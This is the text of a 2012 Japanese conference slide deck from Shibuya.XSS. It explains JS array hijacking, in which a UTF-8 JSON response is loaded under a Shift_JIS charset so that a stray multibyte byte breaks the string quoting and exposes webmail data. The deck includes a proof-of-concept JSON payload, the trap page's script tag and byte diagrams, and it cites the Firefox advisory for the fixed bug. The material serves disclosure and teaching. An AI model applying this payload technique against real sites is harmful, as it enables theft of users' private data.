JS Array Hijacking with MBCS encodings - UTF-8.jp

Report
JS Array Hijacking
with MBCS encodings
MBCS文字コードを使ったJS配列の乗っ取り
Apr 4 2012
Yosuke HASEGAWA
JS Array Hijacking with MBCS
JSON配列を盗み見する方法
文字コードの応用技
Mozilla Firefox 8 / MFSA2011-47で
修正済み
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
ターゲット
機密情報を含むJS配列
攻撃者が配列の一部をコントロールできる
例えばWebメールの新着通知など
配列内の他のデータも盗み見できる
JSON
[ "[email protected]","[email protected]" ]
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
ユーザ
XHR.send(…)
JSON.parse(txt)
JSON
[
"[email protected]", "..."
]
Shibuya.XSS
Web mail
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
<script src=“json”>
HTML
ユーザ
攻撃者
JSON
<script src=“json”>
From: "...0x82"
JSON
[
"...0x82", "..."
]
Shibuya.XSS
Web mail
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
攻撃対象のJSON (UTF-8)
Content-Type: application/json
[ "あ", ",alert(/", "alice", "bob", "/.source)]//" ]
攻撃者の用意した罠ページ
<script src="http://example.jp/target.json" charset="shift_jis"></script>
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
攻撃対象のJSON (UTF-8)
Content-Type: application/json
[ "あ", ",alert(/", "alice", "bob", "/.source)]//" ]
UTF-8
22
Shift_JIS
あ
"
"
E3
81
縺
82
?
"
,
"
a
l
e
r
t
(
22
2C
22
61
6C
65
72
74
28
,
"
a
l
e
r
t
(
[ "縺<?>, ",alert(/", "alice", "bob", "/.source)]//" ]
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
攻撃対象のJSON (UTF-8)
Content-Type: application/json
[ "あ", ",alert(/", "alice", "bob", "/.source)]//" ]
UTF-8
22
Shift_JIS
あ
"
"
E3
81
縺
"
,
"
a
l
e
r
t
(
82
22
2C
22
61
6C
65
72
74
28
?
"
,
"
a
l
e
r
t
(
[ "縺<?>",",alert(/", "alice", "bob", "/.source)]//" ]
修正された挙動(IEと同じ)
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
まとめ
そもそもJSONのレスポンスにcharsetつ
けてないのがイケてない。
とはいえRFC4627には
JSON text SHALL be encoded in Unicode. The default
encoding is UTF-8.
攻撃可能なサイトは限定的
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
JS Array Hijacking with MBCS
 MFSA 2011-47: Potential XSS against sites
using Shift-JIS
http://www.mozilla.org/security/announce/2011/mfsa2011-47.html
 690225 – Universal XSS likely with MultiByte
charset (e.g. japanese sites)
https://bugzilla.mozilla.org/show_bug.cgi?id=690225
だいぶ盛りすぎ!
もとのタイトルは "JSON hijacking with
MultiByte charset"だったのに。
Shibuya.XSS
NetAgent http://www.netagent.co.jp/
質問
[email protected]
[email protected]
@hasegawayosuke
http://utf-8.jp/
Shibuya.XSS
NetAgent http://www.netagent.co.jp/

similar documents